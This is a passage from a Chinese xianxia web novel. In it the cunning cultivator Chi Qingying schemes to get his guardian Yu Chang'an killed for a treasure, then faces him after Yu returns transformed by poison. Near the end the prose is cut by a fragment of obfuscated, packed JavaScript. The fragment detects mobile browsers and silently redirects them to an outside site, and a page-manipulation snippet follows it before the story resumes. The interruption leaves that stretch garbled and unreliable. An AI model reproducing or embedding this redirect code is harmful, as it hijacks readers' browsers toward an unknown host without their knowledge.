郁长安剑眉微蹙,周身剑意一涨,攻势陡然变得更加凌厉迅猛,将迟清影护得密不透风,传音给他。 “退后。” 郁长安不再让人出手,只在迟清影放出的傀儡掠阵之下继续进攻。 但那些傀儡等级不足,被黑蛟的巨爪拍下,脆得竟如同纸糊。 连续刺激之下,迟清影的胸口出现了熟悉的剧烈痛楚,他却并无慌乱,反而眸光微动。 差不多了…… 就在这时。 一道凝练至极的剑意狠狠劈中黑蛟逆鳞。 黑蛟吃痛,彻底暴怒! 它庞大的身躯疯狂甩动,巨大的蛟首猛地撞向郁长安! “轰隆——!” 郁长安惊险躲开,身后的矿脉却被黑蛟狠狠撞上。 无数的矿柱轰然坍塌,碎石乱飞,狂暴的能量四射飞溅,将潭底搅得地覆天翻。 就在这毁灭性的混乱之中,迟清影瞬间捕捉到了那处关键—— 一个因矿脉坍塌,而即将成型的天然传送阵法。 扫过的那一瞬,迟清影就已经锁定了阵眼。 他身影一闪,已是精准地踏上了那核心之处。 “嗡——!” 刺目的光芒轰然爆发,瞬间将颀长的身形吞没。 在光芒彻底淹没视线的最后一刹那,迟清影伸手,一把拉住了身前将他死死护住的郁长安。 下一秒,黑蛟的巨爪轰然砸落,蛟首昂扬,发出了震天怒吼! 而两人的身影,已然消失在了这片崩塌的矿脉之中。 8.失控 第八章 “咳、咳……” 压抑的低咳在闷寂的空间中响起,迟清影眼前微晃,头晕目眩,本就单薄的身形止不住地轻颤。 下一秒,一只沉稳有力的手扶住了他削瘦的肩膀。 一股熟悉的暖意随之注入体内,稍稍驱散了刺骨的寒意。 “还好么?” 郁长安低沉的声音在耳畔响起,带着不容错辨的关切。 迟清影掩唇闷咳了好一阵,才艰难地压下喉间的痒意。 他微微摇头。 “无妨。” 郁长安没有言语,只是目光依旧紧锁在迟清影身上,迅速而仔细地检查他是否有伤。 “若有天翎剑在手,方才……或许不至如此凶险。” 迟清影长长的睫羽垂落,掩过了眸中情绪。 他声音轻得像叹息。 “是我拖累了你。” “清影。” 郁长安眉骨微沉,罕见地打断了他的话。 那瞋黑的眼眸凝视着他,带着一种不容置疑的郑重。 “你我之间,何需此言?” 迟清影眼睫微一轻颤。 他低声问。 “你的剑,蕴养得如何了?” “宽心。”郁长安的嗓音也更沉缓了一分,“仙门大比前,定可无碍。” 那就是现在还不能用。 迟清影问出了答案,心中微定。 之前在那凶险万分的异魔巢谷,迟清影故意失足,跌落蚀液湖,引郁长安来救。 虽然没能杀了郁长安,但过程中,天翎剑却被污染,如今仍然在郁长安的丹田日夜温养。 少了这把神兵,此番,自然胜算更稳。 迟清影这才放言去查看四周。 这里想必就是圣灵髓所在的空间裂缝。四周都是湿冷的山壁。 潭水已不见,空气潮湿而阴凉,却意外地可以呼吸。 迟清影看向郁长安。郁长安会意,双眸微阖,磅礴的神识瞬间扫过整个空间。 “无毒。” 他言简意赅,这才将那层笼着两人的防御护罩撤去。 迟清影不动声色,收回了方才若有似无扫过对方喉咙的视线。 他正欲起身,却感觉身畔传来了一片湿冷。 未结丹的修士无法避水,之前迟清影一路靠着避水珠,但在方才与黑蛟的激战中,那雪白衣袂早已湿透。 迟清影正要运转灵力,将衣服烘干,却有宽大温热的手掌在他肩头轻轻一按。 郁长安止住了他的动作,紧接着,便利落地帮他褪下了湿冷的外袍,动作无比自然。 迟清影想说“不必”,却又是一阵闷咳,清绝的面容更白了几分。 郁长安剑眉轻蹙,一面帮他顺气,一面已从储物戒中取出一件崭新的、触手生温的法袍,不容分说地为他换上。 迟清影咳得无力,便也随他动作,只将目光投向了四周。 他的视线落在某处,顿了顿,若有所思。 “……回廊镜?” 这里竟又出现了之前两人在潭底宫殿遇到过的阵法。 回廊镜的四面皆为冰封,能映出修士身影。冰镜中的影像却行止诡异,会做出与本人完全相反的动作。 若攻击镜面,幻影便会反向攻击本人。 而随着镜面逐渐碎裂分割,映出的人影也会越来越多。 迟清影在宫殿中已将其破解,此刻却又发现了熟悉的阵法波动。 只不过这次,他们并非在镜外,却似乎是直接进入了镜中空间。 原本应该环绕四面的冰壁,如今只占据一角,其余三面皆是坚硬的山石。 而此时,那仅存的冰壁上映照出的,却并非他们的身影,而是潭底那条狂暴的黑蛟。 黑蛟显然无法看到这边,仍还在矿脉废墟中疯狂咆哮,泄愤般地撞击。 “方才,是传送阵?” 郁长安问,显然注意到了进来前迟清影踏中阵眼的动作。 “嗯。” 迟清影颔首,指尖拂过冰冷的镜壁。 “看来这镜子内外,确能相通。” 不过此刻出去,无疑是自寻死路。 那黑蛟的等级极高,寒潭经年不散的毒瘴恐怕也是因它而生。 如今之计,也只能等它离去后,再作打算。 迟清影的目光转向另一方向,洞壁的深处。 “寒晶砂。” 他轻声道,嗓音仍带一分虚弱的沙哑。 而且是更精纯、更强烈的寒晶砂波动。 “这里也有矿脉?”郁长安循着他的视线望去。 两人一同向内走去,穿过长长的山洞,眼前的景象令人心惊。 一颗一颗散发着幽蓝光芒的寒晶砂显现在洞壁上,甚至几乎堆叠成簇。 而将其裹含在内的洞壁,则是大块大块的玄冰石。 玄冰石也是一种灵材,品阶越高,则越珍稀。 寻常所见的玄冰石并不昂贵,但此处出现的,却无一不是极品。 这些如此高品阶的玄冰石甚至直接裸露在外,根本无需费力开采。 其数量之多,品质之高,甚至足以作为锻材,打造出能汇聚灵气的顶级法器——玄冰灵台。 显然,潭底所见的矿脉,不过是冰山一角。 此地才是真正的主矿所在。 无论是寒晶砂还是极品玄冰石,眼前这些宝藏都足以让任何修士疯狂。 但郁长安却异常冷静,神色毫无半分波动。 他还抬手,拦下了向前的迟清影。 “且慢,先探查。” 这一查,两人还当真察觉了异样。 一道柔和、广博、浩然无边的气息悄然而来,仅仅是吸入一丝,便让人只觉通体舒泰,灵台清明。 仿佛被最纯净的灵气洗涤,连经脉中残留的暗伤都被无声抚慰。 “这是……” 郁长安剑眉微扬,眼中闪过一丝惊疑与慎重。 而迟清影的心脏已然狂跳了起来。 圣灵髓! 不会有错,这正是他梦寐以求的机缘所在。 迟清影是极为罕见的单水灵根,比起多灵根的修士,修炼本就一日千里。 而他更拥有着绝世的特殊功法。 《万灵鲸吞大法》。 万灵,指的正是天地之间的所有能量——灵气、魔气、蚀气…… 甚至,是修士的骨血精元。 没错,迟清影甚至能直接鲸吞一名修士。 将其毕生修为、精元,尽数掠夺! 而他之所以能修炼如此逆天的功法,正是因为其极为罕见的特殊体质。 迟清影是天生的“鲸吞之体”。 不过,如此逆天的体质与功法,又怎会没有限制? 例如频繁地接触蚀气,会让迟清影中毒。 又比如,他能鲸吞的修士必须是同级或更低境界者,已经结丹的郁长安并不在此列。 最致命的是。 迟清影每一次境界突破,所需积累的能量,都是寻常修士的百倍、千倍! 正因如此,迟清影能在如此年纪,便突破至筑基初期,已是逆天般的速度,更付出了常人难以想象的艰辛。 但他却依然不满意。 只因筑基与金丹,几乎天堑之别! 这样下去,他根本杀不了郁长安。 而且悟出剑意的郁长安,感知更是敏锐得可怕。 如若两人修为差距继续拉大,迟清影体内的异样,迟早会被郁长安洞悉。 届时,不仅经脉的蚀毒暴露无遗,郁长安甚至会发现——迟清影根本不是仙修。 郁长安是原书钦定的天命之子,是日后举世公认的正道魁首。 身怀魔气的异类落到他手里,下场可想而知。 迟清影唯一的生路,便是结丹。 唯有金丹境界的纯净丹火,方能将体内的蚀毒慢慢炼化。 他体内的驳杂力量也会熔于一炉,再无破绽。 所以,这圣灵髓。 迟清影志在必得。 他压下心头狂澜,面上依旧清冷如冰,只淡淡道。 “确是圣灵髓。” 他心知瞒不过郁长安。虽然此等上古神物,万载难遇,能认出者寥寥。 但郁长安曾在藏书库中被囚困五年,阅尽天下秘典,必然知晓其存在。 “不曾想,竟能在此得见……” 迟清影的语气带着一丝恰到好处的慨叹。 “真是祸福相依,机缘难测。” 郁长安却剑眉微蹙,周身剑意无声流转,警惕更甚。 “此等至宝,必有凶物镇守。” “未必。” 迟清影道。 “此地乃独立裂缝,隔绝万载,不见生灵痕迹。唯一入口,还是方才机缘巧合开启的传送阵。” 他有意放松对方警惕,假意检视一番:“我未发现机关陷阱。” 郁长安凝神,以煌煌剑意扫过,片刻后也道。 “确无异样。” ——他自然不知,那真正的杀机,只会在触碰的刹那才会被唤醒。 此时,郁长安还沉声道:“我去取。” 他轩朗的面容上未露半分贪婪,行动间已将迟清影护在身后。 煌明剑意织就成了一道淡金光幕,将迟清影牢牢护住,这才缓步上前。 那份周全看护,一如既往。 迟清影紧盯着男人挺拔的背影,心弦绷紧,无声默数。 三、二…… 就在郁长安的修长手指即将触及那团柔和光华的瞬间—— 异变陡生! 圣洁的光芒中,骤然渗出一股粘稠、腥冷的的灰色黏液,黏液扭曲蠕动,瞬间凝聚成了一条口器狰狞的绝命冰蛭。 那冰蛭迅如流电,挟着刺骨的怨毒,直扑郁长安面门! 迟清影瞳孔微缩。 为了图谋杀机,他早已知晓了这冰蛭的来历。 万年前,秘境孕育圣灵髓时,曾有魔修误入。 此魔修无法吸收灵气,亦无法脱困,最终在至宝旁含恨陨落。 时过境迁,沧海桑田,秘境已然崩溃,只留下这一隙裂缝。 连山岩也被圣灵髓净化,形成了玄冰矿脉。 魔修的尸骸,同样成了这矿脉的一部分。 但其滔天怨念,却未曾消散。 这绝命冰蛭,正是那堪比出窍期的魔修陨落之后,怨气所化的尸虫。 它恶毒凶险,无比刁钻。在人放松警惕的瞬间,从圣灵髓的内部暴起发难! “嗤——” 腥风扑面! 那浓烈到令人窒息的怨煞之气,轰然席卷了整个洞天。 “铿!” 纵使郁长安对杀意感知非凡,仓促间也只来得及侧身格挡。 而且天翎剑尚在温养,郁长安手中所持的仅是一柄普通灵剑,实力自然大有折扣。 尽管剑光精准地斩在了尸虫仅如豆大的躯体上,却根本没能伤其要害。 尸蛭身形诡异弹射,每一次攻击都带起更浓烈的怨煞黑气。 整个洞窟仿佛堕入森罗鬼域,刺骨的阴寒与绝望侵蚀着每一寸空间。 郁长安将煌明剑意催发到极致,金色淡光在怨气狂潮中剧烈震荡,他极力护住了身后的迟清影,自身却如怒海孤舟,在怨气狂潮中艰难支撑。 迟清影心头剧震。 书中的描写到底粗略,迟清影也没想到,这尸虫会凶戾至此。 ——他更没想到,郁长安竟能在如此绝境下硬抗至今! 还是低估他了…… 迟清影心中警兆顿生。 再斗下去,这洞天都有可能会崩塌,先死的恐怕是迟清影自己。 眼见金色光罩在怨气冲击下明灭不定,迟清影眸光微动。 他指间傀儡丝无声缠绕,便要假意上前策应。 然而,刚踏出剑意护罩一步,那浓烈的怨煞之气便如万针攒刺,直扑而来。狠狠撞入迟清影本就脆弱的经脉。 本就因蚀气而千疮百孔的经脉,瞬间传来撕裂般的剧痛。 迟清影闷哼一声,身形微晃,脸色霎时惨白如金纸。 “退后!” 郁长安的厉喝在狭窄洞窟中响起,他反手一掌,柔韧而不容抗拒的力道涌出,就要将迟清影压回剑意护罩之内。 然而迟清影本就虚弱不堪,被这股力道一冲,再也压不住喉间的腥甜。 “噗——” 一口殷红的血雾喷溅在冰冷的玄冰地面上,刺目惊心。 “清影!” 郁长安瞳孔骤缩,那瞬间的惊怒与心痛,几乎撕裂了他一贯的沉稳。 不顾身后尸虫的虎视眈眈,郁长安竟强行分神,身形如电,悍然冲向了摇摇欲坠的迟清影。 机会! 迟清影心中默念,长睫下的寒光一闪而没。 就在郁长安触及的刹那,迟清影身体微晃,仿佛力竭般,微一踉跄。 郁长安的身法,也因此而出现了一刹致命的迟滞。 这转瞬即逝的破绽,被怨毒的尸虫精准捕捉。 它化作一道裹挟滔天怨煞的回应,直刺而来! “长安哥!” 迟清影失声惊呼。 那张清冷绝伦的脸上瞬间褪尽血色,只剩下纯粹的惊惶与无措。 尸虫擦身而过。 郁长安真的被刺中了。 但 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郁长安竟是将剧毒缠身、濒临失控的自己,连同尸虫与怨煞,一同封死在了崩塌的绝境之中! 他拼尽最后的力气。 居然只为给迟清影争取一线生机。 迟清影在地动山摇中勉力站稳,怔怔地看着眼前那轰然落下、隔绝生死的冰冷石壁。 郁长安最后的眼神,如同烙印般刻在了他的脑海里。 难道……真的有人能演到这种地步吗? 连濒死的最后一刻,都还在扮演那舍己为他的至善好人? 洞窟剧烈摇晃,碎石簌簌落下。 许久,才重新归于一片令人心悸的死寂。 迟清影撑着冰冷的石壁,缓缓站直,面色苍白如纸。 他抬手,冰凉的指尖拂开额前被冷汗浸湿的凌乱发丝,强迫自己压下胸腔翻涌的陌生情绪。 迟清影知道。 绝命尸虫,剧毒无解。 原书里,郁长安仅仅是被擦破手臂表皮,便受尽毒素的折磨,耗费整整三日才堪堪祛除。 而这一次,却是整条尸虫全数没入了他的体内。 不会再有其他可能了。 郁长安,必死无疑。 然而,预想中的狂喜并未涌现。 迟清影的心底反而像被这洞窟的寒气彻底冻住,一片空茫的死寂。 有什么无形的东西如此沉甸,窝在胸口,压得他几乎有些喘不过气。 身后不远处,便是来时的冰壁。 迟清影知晓阵法,现在就可以直接离开。 但他却没有动。 沉默在冰冷的空气中蔓延。 片刻后,迟清影低声告诉自己,像是要说服谁。 “为了圣灵髓……” 付出如此代价,绝不能让努力白费。 必须拿到它。 迟清影转身,走向那堆积如山的冰冷巨石,开始徒手搬挪。 锋利的棱角割破了他苍白的手指,渗出点点殷红,又在寒气中冻结。 迟清影却仿佛不觉疼痛,机械地重复着。 矿脉中的能量太强,筑基期的神识根本无法穿透。 但即使无法用神识感知。 那隔着厚厚石壁,隐隐传来的沉闷撞击与压抑到极致的嘶吼,也如声声重锤—— 如此清晰地昭示着,郁长安正遭受着何等非人的痛楚折磨。 尸虫的怨念太重,会激发出仙修心底最阴暗的欲望,最终引其自毁,爆体而亡。 郁长安会死在这里。 死在离他如此之近,一墙之隔。 刺骨的玄冰寒气无孔不入,迟清影单薄的身体无法抵御,护体的灵力已然透支,温度不断流失。 他清冷的面容苍白得近乎透明,唇瓣失去所有血色,长长的睫羽已然凝出细碎的冰霜。 可搬石的动作,却始终未曾停止。 时间在痛苦与寒冷中变得模糊。 不知过了多少时辰,指尖早已血肉模糊又被冻得麻木。 眼前厚重的石壁,终于被迟清影搬开了一个狭窄的缺口。 里面一片死寂。 没有任何声响,仿佛所有生机都已散尽。 迟清影轻吸了一口气,正准备探入。 缺口之中,却突然传出一丝极其轻微的异响。 迟清影微顿。 他的脑后瞬间发冷,寒意顺着单薄的背脊窜遍全身—— ……那不是意外声响。 分明是人为的动静! 迟清影不可能就此欺骗自己,他的呼吸都空拍似的停滞了一瞬。 他本能地送出一缕微弱的神识,探入那幽暗的缺口之中。 ——却被一股凛然霸道的灼热之意瞬间碾碎! 郁长安! 那灼热暴烈、几乎能焚尽万物的恐怖气息,带着毁灭性的熟悉威压,迟清影根本不可能错认。 而在那好不容易挖开的缺口深处,浓稠的黑暗中,一道修长挺拔的身影缓缓走出。 那人轮廓被矿脉残余的幽蓝光芒勾勒出来,如同从地狱归来的修罗。 真的是郁长安。 他没死?! 错愕的震惊到难以置信,一股巨大到几乎将迟清影灵魂撕裂的复杂情绪海啸般冲上心头,瞬间压过了身体的虚弱和刺骨的寒冷。 那情绪如此鲜明、如此汹涌,几乎要冲破迟清影的一切冰冷外壳,将他生生撞得粉碎! 理智把那鲜明的情绪,命名成了恨。 也是同一秒,迟清影又在想。 果然,总是这样。 庞杂巨大的情绪之下,迟清影甚至觉出了一丝荒谬的好笑。 永远是这个结果。 天命所归,气运之子……郁长安永远无法被他杀死。 迟清影迅速垂下眼帘,浓密的长睫掩去所有惊涛骇浪。 再抬起时,那双清冷的眼眸已经完美地覆上了一层劫后余生的庆幸。 “太好了,你没事。” 连声音都带着恰到好处的轻颤,真挚到完美无瑕。 “还好吗?” 对面的男人却没有应声。 来人无声无息,举步走近。 背光之中,迟清影看见他缓缓抬眸。 中毒后腥红暴戾的血丝已然褪去,郁长安那原本深邃的瞋黑眼眸,此刻竟变成了一种非人的纯金色。 那双金瞳中没有半分暖意,冰冷的目光锁落在了迟清影的身上。 并不显得光明。 ——反而只让人觉出一种危险的心惊。 9.冰冷 第九章 绝命尸虫的怨煞之气太过阴毒。一旦沾染,便会引动修士心底最不可得的绝望,点燃起最阴暗的欲望。 最终,引其自爆。 迟清影方才机械地搬动那些巨石的时候,在空茫思绪的间隙,他也曾经想。 ——那郁长安会面对什么? 是他幼时被众人嫉恨夺剑、被止水门百般折磨的阴影吗? 那个光明的、完美的,永远正确、悍然向前的郁长安。 他也会痛苦吗? 而此刻,迟清影得到了答案。 他不会。 矿窟里面早已崩坍得一塌糊涂,玄冰石的幽幽光晕也都碎裂黯淡。 然而,从这片废墟深处走出的郁长安,却完好无损。 就连先前激战时留下的伤口、沾染的血污,都尽数消失不见了。 就像那双毫无温度的金瞳,郁长安整个人越发的强势、冰冷、无法沟通。 一种令人灵魂都为之战栗的压迫感,无声弥漫。 仿佛他已然成为了某种披着人皮的未知存在。 “你感觉如何?” 迟清影强自镇定,试着多次向人询问,却都如石沉大海。 郁长安只是沉默地,一步一步向他缓缓走来。 嶙峋尖锐的巨石在他脚下如同平地,那步伐平稳,却带着令人窒息的危险。 郁长安转瞬便已逼至迟清影眼前。冰冷的金瞳锁定着他。 如同锁住了落入牢笼的猎物。 “是圣灵髓的奇效?让你免受尸虫所伤……” 寒意顺着背脊攀升。迟清影勉强勾起一点唇角,他佯作欣慰地道。 内心却很清楚。 圣灵髓并没有解毒之能。 原书中,郁长安也是凭靠自身的煌明剑意,生生将怨毒逼出。 迟清影一边不动声色地尝试后撤,一边飞速思索。 为什么这次尸虫全数没入,郁长安反而没事? 男人依旧如山沉默。 那双冰冷的、毫无情感波动的金色瞳孔,如同什么骇人的上古凶兽,正牢牢地、一瞬不瞬地钉在迟清影的脸上。 仿佛要穿透那层清冷的伪装,直抵灵魂深处。 但似乎是听到了“圣灵髓”三个字,郁长安终于有了微许反应。 他依然毫无表情,只抬起了手。 一抹蕴含着纯净生机的光华,在那宽大的掌心缓缓浮现。 圣灵髓! 迟清影的瞳孔骤然紧缩,心脏仿佛被一只无形而冰冷的大手狠狠攥紧,几乎霎时停止了跳动。 竟然真的被他拿到了! 在看到矿窟深处的黯淡时,迟清影心中便有了不祥的预感。 但当这梦寐以求的至宝,如此真实、如此轻易地出现在郁长安手中时。 一股冰冷尖锐、如同淬毒冰针般的失落与不甘,还是瞬间刺穿了迟清影的四肢百骸。 迟清影连呼吸都变得艰涩。 圣灵髓柔和的光芒映在他清绝却惨白如纸的脸上,更添几分易碎的脆弱。 为什么? 巨大的冲击之下,他生出了一刹茫然。 有一瞬间,迟清影甚至不想再问这不公的天命。 反而有更尖锐、更痛苦的东西,剖开了要去问他自己—— 为什么自己步步为营、倾尽心力,却注定被抢夺、永远得不到想要的东西? 为什么自己竟然还有会那种可笑的、对于“公平”的期待? 回忆里自己方才的荒唐和软弱,如同世间最锋利的匕首,狠狠刺穿了他那颗高傲而自尊的心。 耻辱感汹涌而至。 瞬间将迟清影对眼前这个男人有过的唯一一点动摇,也翻涌成了更浓烈的恨! 原来,这也是郁长安算好的。 原来连同迟清影的愧疚、动摇、犹豫、反悔。 ——也都是计划的一部分。 迟清影的所有。 不过是用来给伟大主角做烘托的反衬。 “你拿到了。” 迟清影缓慢地扯动了一下嘴角,弯出一个毫无温度的弧度。 他几乎要压不住那分讥诮。 “恭喜。” 而就在这开口让人分心的时刻,迟清影削薄的身形骤然掠起,向着后方飞身急撤! 他仅剩的机会,就是借助传送阵法立刻离开,然后从外部摧毁阵眼——把郁长安永远封存在这里! 然而,甚至连一息都未过。 “唔!” 迟清影的腰间猛然一紧,那无法抗拒的力道重得惊人,仿佛要将他的腰骨捏碎! 他痛哼出声,清冷的脸上血色尽褪。 这根本不是平时的郁长安,箍在迟清影的那只手,如同冰冷的镣铐,没有丝毫往日的克制与温柔。 只剩一种要将猎物彻底咬住,令人胆寒的绝对掌控。 郁长安的身形快得超出常理,那张俊美无俦的面庞与迟清影距离极近,鼻尖几乎相触。 金色瞳孔中,清晰了映出他被圈锁的身形。 没有任何人类的感情。 迟清影挣脱不得,却被冰得一个哆嗦。 他终于确认,郁长安确实中了毒。 原本一贯如暖炉般温热的男人,此时压着迟清影,体温却冷得骇人,似乎比身后的玄冰矿石更冰。 更让人心惊的是,郁长安钳握着细瘦腰身的手,竟还将他猛地拉近。 那箍住迟清影的力度之紧,让他的后背都完全离开了矿壁。 就好像,连这石壁碰触到了迟清影的身体,都会让眼前这人生出无法容忍的介意。 “……怎么了?” 迟清影强忍着,故作不知,声音竭力维持着一贯的平静。 郁长安只用单手就钳住了他,另一只掌心中的光华已经不见了。 迟清影的心渐渐沉向了谷底。 圣灵髓近在咫尺,却遥不可及。 而此刻,还有一种更强烈、更未知的恐怖笼罩了他—— 眼前这个中毒至深,力量暴涨,行为诡异的郁长安。 ……究竟想要做什么? 郁长安的目光,如同无形的枷锁,沉沉地落在迟清影身上。 一寸寸从他轻蹙的眉梢,滑过高挺的鼻梁,最终落在那紧抿的、失去血色的柔软薄唇上。 那视线带着一种冰冷的审视,存在感强得令人窒息。 仿佛要将这清冷的身影,寸寸丈量,刻入某种挥之不去的印记。 迟清影的长睫几不可察地颤动了一下,终于抬眸,迎上那双纯粹的金瞳。 视线交汇,空气仿佛在这一瞬彻底冻结。 就在这令人窒息的寂静中。 郁长安的墨玉发冠,被一道骤然亮起的银光微微映亮。 一道迅疾如电的身影,无声无息,自他身后的死角暴射而出! 正是迟清影暗中操控的银白傀儡。 然而,郁长安的身形纹丝未动,甚至连眼皮都没抬。 一道凝练如实质的金色剑意,已然自他周身无声迸发。 “嗤——” 一声轻响,那具偷袭的银白傀儡尚在半空,便被那无形剑意精准洞穿! 傀儡动作戛然而止,如同被冻结,轰然坠落。 原本坚实冰冷的傀儡身躯,如同破碎的瓷器般寸寸龟裂,露出了内部被直接刺穿的碎裂核心。 下一秒。 整个昏暗的洞窟骤然被点亮! 四面八方,近百道银白身影,如同被惊动的蜂群,从暗影、碎石缝隙中同时暴起。 它们带着决绝的杀意,从各个刁钻的角度,朝静立中央的郁长安直扑而来! 迟清影苍白的唇角,无声溢出一缕鲜红。 他脸色更白了几分,身形彷佛摇摇欲坠。 筑基期的修为,操控这近百具傀儡已是极限。 此刻全数放出,几乎抽空了他本就虚弱的丹田和经脉。 然而。 那些铺天盖地的银白傀儡,根本还没能近身,就在半空齐齐僵住。 随即,便如断了线的木偶,扑通扑通地大片掉落下来。 在冷硬的地面上,堆叠起了一层刺目的银白残骸。 ——这么多傀儡,竟是已被那锋利无比的剑意,瞬间斩落! ……怎么可能这么快?! 迟清影心中剧震。 他心知傀儡的等级有限,却也万万没料到,竟会如此不堪一击! 此时的郁长安,甚至远比中毒前更深不可测、更令人胆寒。 喉间的腥意再也压不住。 “咳……!” 一口鲜血猛地呛咳出来。 郁长安的目光扫过他唇角的殷红。 那双始终冰冷如无机质的金瞳,似乎终于掠过了一丝极其细微的波动。 也就在这一刹那。 迟清影的眼底寒光一凛,他猛地捏碎了掌心早已扣住的一枚上品灵石! “破!” 一声低喝,带着玉石俱焚的决绝。 体内灵力瞬间被抽空,他闷哼一声,几乎站立不住。 “轰隆——!!” 恐怖的巨响震耳欲聋,猛然炸开。 他们来时那面曾映照出黑蛟的巨大冰壁,竟是倏然被撞碎! 地动山摇,碎石如雨砸落。 同时,一声狂暴到极点的嘶吼,响彻整个洞天! ——是那只潭底的黑蛟! 它竟然破开冰壁,冲入了这方绝地! 巨大的冲击波伴随着刺骨的寒潭水流狂涌而入。 在这狂暴的混乱中,迟清影终于顺势挣脱了腰间那铁钳般的禁锢。 他踉跄后退,大口喘息,胸腔剧烈起伏。每一次呼吸都带着腥咸的铁锈味。 成了! 迟清影早知傀儡奈何不了郁长安。 近百具傀儡的飞蛾扑火,不过是为了掩护那唯一一具潜藏在最远处的傀儡。 被挡住的傀儡趁乱开启传送阵,将黑蛟引来。 这才是迟清影真正的目的。 有这黑蛟在,至少能牵制住郁长安。 ——最好,能跟他同归于尽。 然而,矿窟空间本就狭窄,此刻涌入狂暴的黑蛟,更是混乱不堪。 黑蛟庞大的身躯疯狂扭动,狰狞的蛟首狠狠撞击着洞壁,每一次撞击都引发山崩地裂般的震动,无数巨石轰然砸落。 更可怕的是,随着黑蛟一同被传送过来的,还有汹涌灌入的刺骨潭水。 迟清影想趁乱退避,却被一股激荡的乱流狠狠冲击。 他本就虚弱,此刻更是站立不稳,身形一晃就要栽倒。 就在这时。 一股比潭水更加刺骨冰寒的触感,猛地攫住了他的右腿脚踝! 迟清影骇然低头。 只见郁长安那双冷金色的眼瞳,如同鬼魅般在翻涌的水花中亮起,冰冷的目光,依旧牢牢锁定着他。 才挣脱不过一息,迟清影竟又被他逮到! “放开!” 迟清影挣扎,清冷的嗓音带着惊怒。 可不仅挣脱不得,连另一只腿也被那冷硬的身躯轻易制住。 紧接着,一股无法抗拒的巨力传来。 迟清影的双臂被反拧到身后,双腕被一只冰冷的大手如同铁箍般死死钳住。 他要干什么?! “轰——!” 黑蛟狂暴的攻击余波,裹挟着碎石和水流,再次冲荡而来。 没等近身,却被无形的剑意屏障全数挡住。 但激荡的水流却避无可避,汹涌的寒潭水,已彻底淹过了这片空间。 无法站起的迟清影,瞬间被冰冷的潭水吞没。 他仍被郁长安以绝对掌控的姿态箍按在身前,在水中所有的挣扎都是徒劳。 肺部的空气被迅速抽空,窒息感勒住了他的喉咙。 虚弱的身体止不住的颤抖,视野开始模糊、涣散…… 一个绝望的念头闪过脑海。 原来,他是要让我,溺毙于此…… 就在意识彻底沉入黑暗的前一瞬。 箍着他的强硬手臂猛地将他向上捞起! “哗啦!” 迟清影被托举到一块凸起的巨石之上。 他蜷缩着身体,气息低弱,胸口微弱地起伏着,长发凌乱地贴在苍白的脸颊和脖颈上。 仿佛已经没了呼吸的力气。 郁长安就站在他面前,冰冷的金瞳俯视着对方这虚弱至极的模样。 忽然,男人毫无预兆地俯下身来, 冰冷的手捏住了削瘦的下颌。 那力道不轻,迫使人微微仰头。 郁长安墨色的湿发垂落,冰凉的发梢扫过迟清影敏感的耳廓,带来一阵颤.栗。 下一秒。 一双毫无温度的唇,倏然压住了他。 一股精纯却同样冰冷的气息,被强硬地渡入迟清影几乎停滞的肺腑。 迟清影涣散的瞳孔骤然缩紧。 模糊的视野中,唯有那双近在咫尺、冷淡慑人的金色眼瞳。 “咳、咳咳……” 被渡气之后,迟清影好不容易找回呼吸,他竭力将人推开,尽管力气已是微乎其微。 伏在冰冷的石面上,他痛苦地呛咳起来,身体仍在无法控制地颤抖。 郁长安并未起身,依旧维持着刚刚俯身的姿态,就这么面无表情地看着他。 就在这时。 “吼——!!” 被剑意屏障短暂阻挡的黑蛟,终于找到了目标。 它发出狂怒的嘶吼,张开腥气扑鼻的血盆巨口,朝着背对着它的郁长安,狠狠咬下! 但郁长安仍旧没有回头。 他仿佛只是被身后的噪声打扰,带着一丝冰冷的不耐,随意地抬起右臂,握住灵剑,反手朝着身后虚空一挥。 “嗤!” 一道凝练到极致金芒一闪而过。 黑蛟那震天的啸声,也如同被利刃切断,戛然而止! 它那庞大狰狞的身躯,猛地僵在半空,随即像被抽去了所有筋骨,轰然砸落。 蛟首之上,一道平滑如镜的致命切口,正汩汩涌出暗红的血液,染红了冰冷的潭水。 那双暴戾的蛟目,已经失去了所有神采,只剩下凝固的死气与惊骇。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16135844|179759||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 郁长安竟是只用了一只手。 随意一剑。 就结果了这凶威滔天的寒潭霸主。 迟清影的闷咳声,也骤然而停。 他愕然的目光越过郁长安的肩膀,看着那具倒地的巨大蛟尸。 随即,又难以置信地转向了郁长安的左手。 那修长劲瘦的掌心里,正静静地悬浮着一团圣洁的光华。 圣灵髓! 圣灵髓的磅礴生机在郁长安掌心流转,温润光华映照着他冰冷的侧脸。 凭借这至宝的加持,郁长安方才的一击,就将那头比他高出了整整两个大境界的黑蛟,直接诛灭! 这就是圣灵髓的又一威能。 ——赋予修士足以越阶而战的滔天之力。 “咔嚓。” 一声清脆的裂响传来。 郁长安手中那柄普通灵剑,已是承受不住圣灵髓加持下的恐怖力量。 就此寸寸碎裂,化为了齑粉。 迟清影的心口猛地一窒,一股浓烈到几乎将他淹没的酸涩翻涌上来。 他的视线死死黏在郁长安左手掌心那团光华之上。 不甘、恨意、嫉妒。 如同毒藤般疯狂滋长,缠绕心脏。 他想要。 他太想得到了。 进阶缓慢的修为,就像一道沉重的枷锁。 即使迟清影能炼制出吸收蚀气的特殊傀儡,可筑基期的傀儡到底威能有限,受限太多。 若能得到这圣灵髓,借助这上古至宝的磅礴爆发力。 迟清影就可以连越两级,炼制出堪比元婴的银白傀儡。 届时,原本的顾虑都能迎刃而解。 然而,这梦寐以求的至宝,此刻就静静躺在郁长安的掌心。 近在咫尺,却又遥不可及。 那只骨节分明的手微动了动。 迟清影的视线立刻如同被无形的丝线牵引,瞬间追了过去。 郁长安的手掌缓缓抬起,一直抬到自己的面前。 就在迟清影的目光,追到男人脸上时—— 那团温润的光华,倏然消失不见。 如同刻意的逗弄。 郁长安轻而易举地,便将迟清影所有的渴望与不甘,强行拽回了自己身上。 迟清影本就虚弱,此时连呼吸都艰难。 他知道自己已是强弩之末,连郁长安周身散发的威压都难以承受,更遑论逃脱。 